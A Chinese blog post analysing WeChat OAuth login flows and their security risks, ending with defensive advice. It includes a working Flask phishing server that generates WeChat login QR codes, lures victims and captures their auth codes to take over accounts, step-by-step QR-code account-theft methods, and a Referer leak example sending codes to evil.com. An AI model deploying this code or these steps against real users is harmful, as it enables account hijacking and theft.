谈谈微信授权下的安全风险

文章最后更新时间为:2023年11月23日 11:09:38

随着微信成为国名级应用,很多公司的产品都实现了微信授权登录的入口,app、小程序、网页端也都可以接入微信授权,复杂的流程中或多或少存在着一些可以利用的安全风险,下面简单总结一下微信授权相关的安全风险。

1. 授权流程

首先来看下授权流程,微信授权的场景比较多,涉及app、网页、小程序、公众号等,只有先了解授权原理和过程,才能理解安全风险。

1.1 app授权

app授权这里就用android来举例,其官方文档位于https://developers.weixin.qq.com/doc/oplatform/Mobile_App/Resource_Center_Homepage.html,接入流程如下:

2023-11-23T03:04:40.png

微信官方提供了android的sdk可以直接调用:

{
    // send oauth request
    Final SendAuth.Req req = new SendAuth.Req();
    req.scope = "snsapi_userinfo"; // 只能填 snsapi_userinfo
    req.state = "wechat_sdk_demo_test";
    api.sendReq(req);
}

根据接入文档登录开发文档可以得出整体流程如下:

  1. 第三方app调用sdk发起微信授权申请,拉起微信app并且进入授权登录页面
  2. 用户点击同意登录后,微信会拉起第三方app,传递code参数给第三方app
  3. 第三方app拿到code参数后,通过参数换access_token或者别的登录态凭证

其中微信拉起第三方app的时候是通过拉起特定的activity来实现的,activity的命名规则统一为包名.wxapi.WXEntryActivity,比如com.xxx.xxx.wxapi.WXEntryActivity,微信拉起第三方app时,传递的参数为Resp类型,code在这个类的_wxapi_sendauth_resp_token字段里:

1.2 网页授权

网页授权文档为:https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html

官方文档的流程图和app授权一致,但是接入方式有所不同,总结下来主要是两个步骤:

  1. 获取code
  2. 通过code换access_token

下面以1号店为例,来演示如何实现微信授权网页登录

  1. 用户点击登录后,跳转到https://open.weixin.qq.com/connect/qrconnect?appid=wxbdc5610cc59c1631&redirect_uri=https://passport.yhd.com/wechat/callback.do&scope=snsapi_login,其中appid为应用唯一标识,redirect_uri自定义,但是需要符合域名白名单内,scope填写snsapi_login即可。

2023-11-23T03:05:28.png

  1. 网页会通过xhr不断轮训结果,识别用户是否扫描&授权,如下图,408表示等待扫码,404表示已经扫码等待授权,405表示已授权
    2023-11-23T03:05:37.png
    2023-11-23T03:05:43.png
    2023-11-23T03:05:50.png
  2. 轮训结果返回405,拿到code参数,将会重定向到redirect_uri的网址上,并且带上code和state参数
redirect_uri?code=CODE&state=STATE

2023-11-23T03:05:56.png

  1. code换access_token是在网站后台实现的,就不演示了

1.3 小程序授权

小程序授权和网页授权差不多,文档https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/login.html,放一下经典的步骤:

2023-11-23T03:06:07.png

其实主要需要理解的也就两步:

  1. 微信小程序客户端使用wx.login拿到code参数,并将这个参数传递到后端
  2. 后端携带code参数,访问微信服务器,拿到openid,然后返回给客户端登录态

这里的wx.login是走的微信自定义的协议,所以无法通过http抓包拿到,但是可以通过hook拿到,这也是很多微信hook框架提供的主要功能

2. 安全风险

微信授权本身采用的是oauth2协议,其没有直接的安全风险,但是如果在使用过程中配置不当或者使用不当,则会带来一定的钓鱼风险。

2.1 app微信授权登录转成扫码登录

这个其实不算风险,但是也是一个可以利用起来的环节,这个问题其实最常见的需求是游戏app,用王者荣耀举例,王者荣耀只能通过微信或者qq登录,正常情况下必须要安装登录微信才能授权王者,对于有两个手机或者借号的情况比较麻烦,总不可能把微信密码告诉别人。这个时候有个利用方式,就是将常规的授权登录转成扫码登录,其原理步骤如下:

  1. 利用微信扫码的方式拿到微信code(这一步和微信网页授权的原理很类似)

    1. 拿到app对应的appid和bundleid,appid可以通过静态分析的方式拿到,在代码中搜索WXAPIFactory.createWXAPI即可,bundleid一般就是packagename
    2. 访问https://open.weixin.qq.com/connect/app/qrconnect?appid=xxx&bundleid=xxx&scope=snsapi_base,snsapi_userinfo,snsapi_friend,snsapi_message&state=weixin,拿到二维码和对应的uuid,比如王者荣耀对应的url为https://open.weixin.qq.com/connect/app/qrconnect?appid=wx95a3a4d7c627e07d&bundleid=com.tencent.smoba&scope=snsapi_base,snsapi_userinfo,snsapi_friend,snsapi_message&state=weixin
    3. 通过轮训的方式拿到code(参考网页授权的轮训原理)
  2. 主动调用目标应用的activity,也就是com.xxx.xxx.wxapi.WXEntryActivity,将bundle.putString("_wxapi_sendauth_resp_token", code);参数传递在intent中。

详细信息可以参考 https://github.com/Willh92/GameWxQRlogin

image-20231114102604981

2.2 利用app登录进行扫码盗号

这个和2.1中扫码登录app的原理类似,当我们拿到code参数之后,我们只需要将code发送给服务端即可拿到cookie,所以盗号的难点也就是拿到code参数,可以通过下面的步骤来进行钓鱼盗号:

  1. 实现一个webserver,当有人访问时,随机生成一个登录二维码,展示到页面
  2. 欺骗受害者访问webserver,并扫码登录
  3. 用户扫码授权后,后台拿到code,并通过协议的方式发送登录包,拿到cookie

欺骗受害者可以通过很多方式,比如伪装成扫码领任务或者扫码助力。下面是一些关键代码:

from flask import Flask,request,redirect
from log import log
import re
import time
from dache import get_uuid,get_code,get_token
from concurrent.futures import ThreadPoolExecutor
import requests
from bs4 import BeautifulSoup


app = Flask(__name__)
executor = ThreadPoolExecutor()


# 生成uuid和二维码链接
def get_uuid() -> tuple:
    url = "https://open.weixin.qq.com/connect/app/qrconnect?appid=xxx&bundleid=com.xx.xx&scope=snsapi_userinfo"
    headers = {
        'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255'
    }
    r = requests.get(url, headers=headers)
    soup = BeautifulSoup(r.text, "lxml")
    code_url = soup.find('img', attrs={'class': "auth_qrcode"})['src']
    uuid = code_url.split("/")[-1]
    return uuid, code_url

# 通过uuid拿微信code
def get_code(uuid: str) -> tuple:
    headers = {
        'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255'
    }
    wx_errcode = ""
    wx_redirecturl = ""
    wx_nickname = ""
    wx_code = ""
    for _ in range(300):
        timestamp = int(round(time.time() * 1000))
        url = f"https://long.open.weixin.qq.com/connect/l/qrconnect?uuid={uuid}&f=url&_={timestamp}"
        response = requests.request("GET", url, headers=headers)
        response.encoding = 'utf-8'
        wx_errcode = re.findall("window.wx_errcode=(.*?);", response.text)[0]
        wx_redirecturl = re.findall(
            "window.wx_redirecturl='(.*?)';", response.text)[0]
        wx_nickname = re.findall(
            "window.wx_nickname='(.*?)';", response.text)[0]
        log.info(
            f"wx_errcode:{wx_errcode}\twx_redirecturl:{wx_redirecturl}\twx_nickname:{wx_nickname}")
        if wx_errcode == "408":
            log.info(f"uuid:{uuid}等待扫码")
        elif wx_errcode == "405":
            log.info(f"uuid:{uuid}成功扫码并确认")
            wx_code = re.findall("code=(.*?)&", wx_redirecturl)[0]
            break
        elif wx_errcode == "404":
            log.info(f"uuid:{uuid}成功扫码,等待确认")
        elif wx_errcode == "402":
            log.info(f"uuid:{uuid}二维码过期")
            break
    return wx_errcode, wx_redirecturl, wx_nickname, wx_code

# 微信code换token
def get_token(wx_code: str) -> dict:
   pass


def run(ip,uuid):
    wx_errcode, wx_redirecturl, wx_nickname, wx_code = get_code(uuid) # wxd8bd490776fa84a2://oauth?code=0216tvml2DUFba43rXml2peJrT26tvmx&state=
    log.info(f"{ip} {uuid}返回微信code为{wx_redirecturl}")
    if wx_redirecturl != "":
        log.info(f"{ip} {uuid} 微信昵称为:{wx_nickname}")
        data = get_token(wx_code)
        log.info(f"{ip} {uuid} {wx_code}:登录成功")

@app.route("/")
def hello_world():
    ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)
    log.info(f"{ip} 接收到请求")
    uuid, code_url = get_uuid()
    log.info(f"{ip} 得到uuid:{uuid}, code_url:{code_url}")
    executor.submit(run, ip, uuid)
    return redirect(code_url, code=302)


if __name__=="__main__":
    app.run(host="0.0.0.0",port=80, debug=False)

2.3 redirect_uri 校验不严格导致钓鱼

在网页授权登录的过程中,以下面的链接举例子https://open.weixin.qq.com/connect/qrconnect?appid=wxbdc5610cc59c1631&redirect_uri=https://passport.yhd.com/wechat/callback.do&scope=snsapi_login,用户扫码登录成功后,会把登录凭证code传递给回调地址redirect_uri,如下所示:

https://passport.yhd.com/wechat/callback.do?code=CODE&state=STATE

这个redirect_uri这个值是我们可控的,但是微信会限制redirect_uri的域名,如果a.com替换成b.com会显示redirect_uri 参数错误,但是有时候如果配置了*.a.com,我们可以替换成其他的子域,如果子域下面存在问题,则会出现code盗取的情况,比如下面的情况:

假设某网站对redirect_uri的域名限制为*.aaa.com,在b.aaa.com域名下发现一个论坛,论坛帖子得回复可以插入第三方的图片,将这两点结合起来就可以通过referer来窃取code。

https://open.weixin.qq.com/connect/qrconnect?appid=xxxxx&redirect_uri=http://b.aaa.com/tiezi/123456&scope=snsapi_login

登录成功后会带着code访问帖子:

http://b.aaa.com/tiezi/123456&code=xxxxxxxxx

而帖子中又有攻击者插入的第三方图片,在加载第三方图片的时候,就把code传输出去了,完成code窃取:

GET http://www.evil.com/test.jpg

Referer: http://b.aaa.com/tiezi/123456&code=xxxxxxxxx

攻击者拿到code和state之后,即可登录受害者的账号。

2.4 关注公众号登录环节的钓鱼风险

「关注公众号登录」指的是在 PC 网站上生成微信公众号的二维码,用户使用微信 APP 扫码,关注公众号之后实现自动登录的过程。使用「关注公众号登录」可以快速为公众号引流,提升品牌粘性,但是在这个环节也存在一些安全风险。

下面先看一下实现原理,官方文档在https://developers.weixin.qq.com/doc/offiaccount/Account_Management/Generating_a_Parametric_QR_Code.html

从开发的角度看,过程可以总结为下面几个步骤:

  1. 网站后端请求微信服务器生成access_token,这个access_token是可以持续用的,做过微信开发的应该比较熟悉
  2. 用户打开网页登录页面,这个过程也就是网页前端向网页后端请求登录二维码的过程

    1. 后端接收到前端请求后,去请求微信服务器,拿到ticket,返回给前端
    2. 前端拿到ticket后,去请求微信服务器拿到二维码图片,显示在页面上
  3. 用户扫码后,关注公众号后,微信服务器会推送结果给网站后端,于是网站后端可以知道成功扫码
  4. 之后前端不断轮训网页后端,查看用户是否扫码,如果扫码后,后端会直接返回set-cookie给前端,登录完成在

2023-11-23T03:06:41.png

上述过程在用户扫码时,是这么说的:

  • 如果用户还未关注公众号,则用户可以关注公众号,关注后微信会将带场景值关注事件推送给开发者。
  • 如果用户已经关注公众号,在用户扫描后会自动进入会话,微信也会将带场景值扫描事件推送给开发者。

这样就带来一个问题,如果用户已经关注公众号了,那么伪装一个二维码发给该用户扫描,则用户扫描后,无需二次确认按钮,会直接登录。

作弊流程如下:

  1. 攻击者去请求某网站登录url生成ticket
  2. 攻击者根据ticket去请求微信服务器生成二维码
  3. 将二维码伪装一下,发给受害者
  4. 攻击者不断轮训网站后端,等待受害者扫码后,即可拿到cookie,即成功获取登录态

上面的124步都可以通过协议包装成钓鱼网站实现,用户扫码后即使知道被盗号,也无能为力了

2.5 微信code滥用问题

不管是移动app、h5网页还是微信小程序,涉及到微信授权的部分最关键的就是code参数,后端拿到code后,可以换到openid,openid又能够标识唯一微信,所以对于很多应用来说,拿到了code,就相当于拿到了微信。

而微信授权早已经被黑产做成了产业链,其中主要的功能就是提供各大应用的微信code,所以即使没有微信号,也可以批量获取code,下面是一些相关app的截图:

image-20231122154429768

所以在使用微信授权时,不要只依靠code来标识用户,最好是同步获取手机号,再传输过程中采用加密传输和签名校验,增加攻击成本,还可以结合微信对openid的风险评级来做相应的二次验证,官方文档在:https://developers.weixin.qq.com/minigame/dev/guide/open-ability/security.html

参考文档:

https://mp.weixin.qq.com/s/RzDHjRbw6DnQxig_QFxV7Q

https://xz.aliyun.com/t/13013

1 + 8 =
1 评论
    李大炮 Chrome 130 OSX
    11月6日 回复

    第2.5段,“各大应用的微信code”,对这个比较感兴趣,你贴图的出处可以私我一下吗。
    另外,对博主的博客前端页面感兴趣,非常好看,很喜欢,请问前端是自己写的吗?有开源不